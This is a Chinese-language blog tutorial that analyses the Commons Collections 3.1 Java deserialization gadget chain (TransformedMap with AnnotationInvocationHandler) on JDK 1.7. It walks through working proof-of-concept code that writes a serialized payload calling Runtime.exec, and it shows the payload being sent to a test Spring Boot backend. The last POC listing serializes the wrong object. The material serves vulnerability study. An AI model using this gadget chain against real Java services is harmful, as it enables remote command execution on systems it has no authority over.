Java反序列化2-CommonCollections利用链分析

Java反序列化2-CommonCollections利用链分析

    • 0x00 前言
    • 0x01 实验环境
    • 0x02 利用链
      • Transformer
      • ConstantTransformer
      • InvokerTransformer
      • ChainedTransformer
    • 0x03 POC分析
      • ConstantTransformer
      • Invoker1
      • Invoker2
      • Invoker3
    • 0x04 POC反思
      • 问题1
      • 问题2
    • 0x05 减轻利用难度
      • 第一次改动
      • 第二次改动
    • 0x06 JDK 1.8 修复
    • 0x07 漏洞复现
    • 0x08 总结
    • 0x09 参考文献

0x00 前言

首先这篇文章不是出自yso中cc1的payload,该篇利用的是TransformedMap。以下是主要的参考文章汇总:

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6

https://xz.aliyun.com/t/7031#toc-8

p牛-代码审计-Java漫谈

首先我会分析POC的核心代码,然后讲解为什么其他方式不行,最后为了提高漏洞利用的普适程度,引出POC的全部代码。

总体思路:

1. 后端接收到输入流
// 扩大利用面
2. 反序列化到AnnotationInvocationHandler对象
3. 同时调用readobject方法
4. readobject方法对transformedMap成员变量进行了添加元素操作
// 解决序列化生成payload问题(Runtime对象无法执行序列化,需要通过反射解决)
5. 此时调用chainedTransformer转换器链
6. 反射得到Runtime对象
7. 反射得到exec方法
8. 命令执行

0x01 实验环境

本次的实验环境是jdk1.7的7u80版本,jdk8部分版本也能用,网上查资料得知应该是8u71之前的版本

commons-collections这个依赖我用的是3.1的版本

3.2.2的版本默认是不支持不安全的反序列化的,后端必须开启不安全的反序列化功能:

System.setProperty( "org.apache.commons.collections.enableUnsafeSerialization", "true");

4版本的commons-collections已经不支持对其中某些提供的数据结构进行反序列化了。

0x02 利用链

我们直接来看poc

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map innnerMap = new HashMap();
        innnerMap.put("key","value");
        Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        // 进行序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxx/Desktop/evil1.bin"));
        outputStream.writeObject(instance);
        outputStream.close();
        // 模拟后端接受到的序列化后的数据 
        FileInputStream fi = new FileInputStream("/Users/xxx/Desktop/evil1.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

这里面主要涉及到几个类ConstantTransformer,InvokerTransformer,ChainedTransformer,TransformedMap,这些类有一个共同的特点就是都实现了transform这个接口。

Transformer

可以看到所有这些类都要实现transform方法,输入为一个对象,输出也是一个对象。下面我们将重点关注一下这几个transform类的transform方法

Java反序列化2-CommonCollections利用链分析_第1张图片

ConstantTransformer

调用这个类的transform方法时不管你输入参数是啥都会返回构造函数那块传入的对象
Java反序列化2-CommonCollections利用链分析_第2张图片

InvokerTransformer

调用这个类的transform方法时用到了反射,通过反射调用我们在构造函数处传入的方法,那这里就是我们要执行命令的最终地方

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);  
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

ChainedTransformer

ChainedTransformer类我觉得就是一个转换器链,将我们的输入通过多个转换器(可以是上面任何一个或者多个)输出。其构造函数接受一个Transformer[] 数组,即数组里面全部都要是实现了Transformer接口的类。其transform方法会对输入对象进行挨个调用Transformer[] 数组中的每个转换器(即调用每个元素的transform方法),最终输出转换结果。

 public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

放张图可能会清晰点

Java反序列化2-CommonCollections利用链分析_第3张图片

0x03 POC分析

先来上面poc的一个简化版本

Transformer[] transformer = new Transformer[]{
    // 返回 java.lang.Runtime
    new ConstantTransformer(Runtime.class),
    // getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                           new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
    // 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    // 调用返回实例中的exec
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);

先定义了一个Transformer[]数组,其中第一个是ConstantTransformer转换器,第二个是InvokerTransformer转换器,第三个也是一个InvokerTransformer转换器,第四个还是一个InvokerTransformer转换器。然后new了一个ChainedTransformer将这个Transformer[]传进去。最终调用chainedTransformer的transform并传入111,这时候就会将111通过上面那个Transformer[]数组中的每一个转换器,最终输出结果。

好了,接下来重新仔细分析下

首先调用chainedTransformer.transform方法并传入111

//chainedTransformer.transform方法

public Object transform(Object object) { // object就是111
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

然后进入Transformer[]数组调用每个元素的transform方法,下面按照顺序来讲

ConstantTransformer

new ConstantTransformer(Runtime.class)

第一个转换器是ConstantTransformer,ConstantTransformer.transform这里会返回Runtime类的class对象即Runtime.class,然后将Runtime.class传入到Invoker1的transform

Invoker1

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]})

下图是其transform方法,首先利用反射获取Runtime.class中的getmethod方法,然后invoke调用getmethod方法,其参数为getRuntime,那么就会获得getruntime方法,但此时返回值是一个Method对象,要通过invoke才能调用getruntime方法。

Java反序列化2-CommonCollections利用链分析_第4张图片

注意:

  • invoke调用普通方法时,传入的必须是实例化后的类

  • invoke调用静态方法时,传入类即可

  • new class[0]为占位符,表示getruntime的参数类型,因为getruntime没有参数所以用new class[0]表示。

Invoker2

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})

上一步返回结果是一个代表getruntime方法的Method对象。现在传给第二个InvokerTransformer,

首先通过反射获取Mehtod对象的invoke方法,然后调用Method对象的invoke方法,此时就像防御执行了getruntime方法,即返回一个Runtime对象。

Java反序列化2-CommonCollections利用链分析_第5张图片

Invoker3

new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})

首先通过反射获取Runtime对象的exec方法,然后通过invoke调用,参数为calc,这样就能达到命令执行的效果。

Java反序列化2-CommonCollections利用链分析_第6张图片

成功弹出计算器

Java反序列化2-CommonCollections利用链分析_第7张图片

借鉴大木头的代码,下面就是poc等效代码

// 等效于 ConstantTransformer
Class Constant = Runtime.class; // 直接返回java.lang.Runtime

// 等效于invoker1
Class aClass = Constant.getClass();  // aClass 返回 java.lang.Class
Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class});  // 获取java.lang.class中的getMethod
Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input 获取Runtime类中的getRuntime并进行返回
// 返回静态方法 Method
System.out.println(obj1);

// 等效于invoker2
Class claz = obj1.getClass();   // 返回的为java.lang.reflect.Method类型,claz 为 reflect.Method
Method method1 = claz.getMethod("invoke", Object.class, Object[].class);  // 获取java.lang.reflect.Method 类中的invoke方法
Object obj = method1.invoke(obj1,new Object[]{null,null}); // 调用之前传递过来的getRuntime静态方法,返回实例化后的Runtime
// 等效于invoker3
Class cls = obj.getClass();             // 返回Runtime类
Method method2 = cls.getMethod("exec", String.class);   // 反射获取Runtime类中的exec方法
method2.invoke(obj, new Object[]{"open -a Calculator"});   // obj即为实例化后的Runtime对象
// 等效于invoker4
Runtime object = (Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
object.exec("open -a Calculator");

POC如下:

Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                           new Object[]{"getRuntime",new Class[0]}),   
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);

0x04 POC反思

问题1

可以看到其实poc红框部分的作用就是获取一个Runtime对象,那为什么我们不直接在new ConstantTransformer的时候传入一个Runtime对象而是要传入Runtime.class呢?

Java反序列化2-CommonCollections利用链分析_第8张图片

行,我们做个实验,我们将生成Runtime对象那段代码删掉,直接用ConstantTransformer给我们下一个转换器InvokerTransformer传入一个Runtime对象。

Java反序列化2-CommonCollections利用链分析_第9张图片

实验表明,执行成功了,哈哈哈哈哈

Java反序列化2-CommonCollections利用链分析_第10张图片

那为啥不这样写poc呢,是因为我们客户端最终是要序列化chainedTransformer的,但是呢Runtime对象没有继承Serializable接口

Java反序列化2-CommonCollections利用链分析_第11张图片

所以在序列化的时候就会报错,显示无法进行序列化

Java反序列化2-CommonCollections利用链分析_第12张图片

这就是为什么我们要废那么大劲要通过反射获取Runtime对象了,开始的poc里面,所有的类都继承了Serializable,都是可以序列化的,所以生成payload的时候就没问题。

Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                           new Object[]{"getRuntime",new Class[0]}),   
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(111);

问题2

还有人这么写poc,既然不能直接传Runtime对象,那就给你老样子传Runtime.class呗,但是我下面直接用InvokerTransformer反射调用getRuntime方法,这样不就更省事了嘛。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(111);

行,我们继续做实验,哈哈哈,这次报错了

Java反序列化2-CommonCollections利用链分析_第13张图片

根据提示可以看到意思是Class没有getRuntime方法,Class对象肯定没有getRuntime方法呀,他有getmethod方法。话不多说,debug调试一下

InvokerTransformer.transform传入的input为Runtime.class,然后input.getClass(),那么这个时候cls就可以理解为Runtime.class的class。也就是说cls可以通过getMethod获得方法只有Runtime.class中的方法而不是Runtime中的方法!!!

所以当这里的this.iMethodName为getRuntime的时候就会爆错说获取不到这个方法。

Java反序列化2-CommonCollections利用链分析_第14张图片

0x05 减轻利用难度

第一次改动

到现在我们梳理一下poc样子

Transformer[] transformer = new Transformer[]{
    // 返回 java.lang.Runtime
    new ConstantTransformer(Runtime.class),
    // getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                           new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
    // 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    // 调用返回实例中的exec
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
//chainedTransformer.transform(111);

// 序列化写入文件
FileOutputStream fileOutputStream = new FileOutputStream("evil.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);

如果我们将这个序列化payload发送到后端,后端至少需要三步才能触发命令执行

  • 反序列化输入流
  • 转换为ChainedTransformer对象
  • 调用ChainedTransformer对象的transform方法

Java反序列化2-CommonCollections利用链分析_第15张图片

这种后端场景很难遇到了,我们还是需要修改一下poc,降低我们的利用难度

这里我们用到了TransformedMap类,TransformedMap也是一种Map,其会对每一个put进来的键值对先利用转换器进行变换后才存入。

//将原本map转换为transformedMap
Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);

decorate将参数传递给构造函数从而new一个TransformedMap对象

Java反序列化2-CommonCollections利用链分析_第16张图片

当我们要put一个元素的时候,就会调用重写的put方法,会对key值经过转换器,value值经过转换器后再存入

Java反序列化2-CommonCollections利用链分析_第17张图片

跟进this.transformKey,可以看到调用对应转换器的transform方法

Java反序列化2-CommonCollections利用链分析_第18张图片

加入我们用如下代码

Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);

那么在put时候就会调用我们的chainedTransformer.transform,从而触发命令执行

poc如下:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Integer, String> map = new HashMap<Integer, String>();
Map transformedMap = TransformedMap.decorate(map, chainedTransformer, null);

FileOutputStream fileOutputStream = new FileOutputStream("a.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(transformedMap);
objectOutputStream.close();
fileOutputStream.close();

这个时候我们就完成了第一减轻利用难度,后端只需要

  • 反序列化输入流
  • 转换为Map对象
  • 调用put方法即可

但是呢这样还是要先反序列化为Map对象,然后对其进行修改才能触发。能不能再简化一点,只要后端反序列化了我们的数据就会触发呢

第二次改动

思路大概就是找到一个类

  • 其构造时会把我们这个transformedMap传给这个类的成员变量A,

  • 然后这个类重写了readobject方法,且readobject方法中存在对A的修改操作。

    那么在反序列化的时候就会对我们的transformedMap进行添加操作从而调用ChainedTransformer。

在jdk1.7中就存在这么一个类AnnotationInvocationHandler(sun.reflect.annotation.AnnotationInvocationHandler)

我们首先来看看这个类的构造函数,需要传入一个Map类型的memberValues并赋值给。此时满足了条件1

Java反序列化2-CommonCollections利用链分析_第19张图片

再来看看他的readobject方法,memberValues就是我们传入的transformedMap,通过entrySet将其转换为Set集合,然后遍历集合第一个键值对赋给memebrValue,最终调用setvalue更改memebrValue的值,此时就会调用transformedMap修饰这个传入的值,从而触发远程命令执行

Java反序列化2-CommonCollections利用链分析_第20张图片

最终Poc如下:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Integer, String> map = new HashMap<Integer, String>();
Map transformedMap = TransformedMap.decorate(map, chainedTransformer, null);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

FileOutputStream fileOutputStream = new FileOutputStream("evil.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(transformedMap);
objectOutputStream.close();
fileOutputStream.close();

这里利用反射获取AnnotationInvocationHandler的构造器,然后实例化AnnotationInvocationHandler,构造器需要传入一个继承了Annotation的类

Java反序列化2-CommonCollections利用链分析_第21张图片

点进去Annotation,按ctrl+F12,可以选择Target这个接口,所以上面传入了Target.class

Java反序列化2-CommonCollections利用链分析_第22张图片

这里有一个小问题就是为什么需要先put(“value”,“value”),参考下面这篇

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#TransformedMap

0x06 JDK 1.8 修复

在jdk1.8中,AnnotationInvocationHandler的readobject方法有所改动,没有直接对原本的成员变量transformedMap进行setvalue了,而是new了一个LinkedMap并将原来的键值添加进去,即不会对transformedMap进行修改操作了,也就不能调用ChainedTransformer转换器链

Java反序列化2-CommonCollections利用链分析_第23张图片

0x07 漏洞复现

首先利用springboot起一个环境,用的jdk1.7

Java反序列化2-CommonCollections利用链分析_第24张图片

poc生成payload:

Java反序列化2-CommonCollections利用链分析_第25张图片

利用postman发送evil.bin到后端,成功命令执行

Java反序列化2-CommonCollections利用链分析_第26张图片

0x08 总结

至此我们就完成common-collection 3.1版本 jdk1.7版本下的POC复现和利用链分析。

首先我们直接引入初版poc,说明了其利用思路并说明了为什么另外两种构造方式不行。然后在此基础上为了进一步扩大利用面,又利用TransformedMap和annotationInvocationHandler对poc进行了改造,最终得到了我们完整的poc。

里面涉及的东西也挺多的,但是核心思路就是去获得Runtime.exec()

0x09 参考文献

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p

https://xz.aliyun.com/t/7031

p牛 代码审计 Java漫谈

你可能感兴趣的:(Java安全,java,web安全)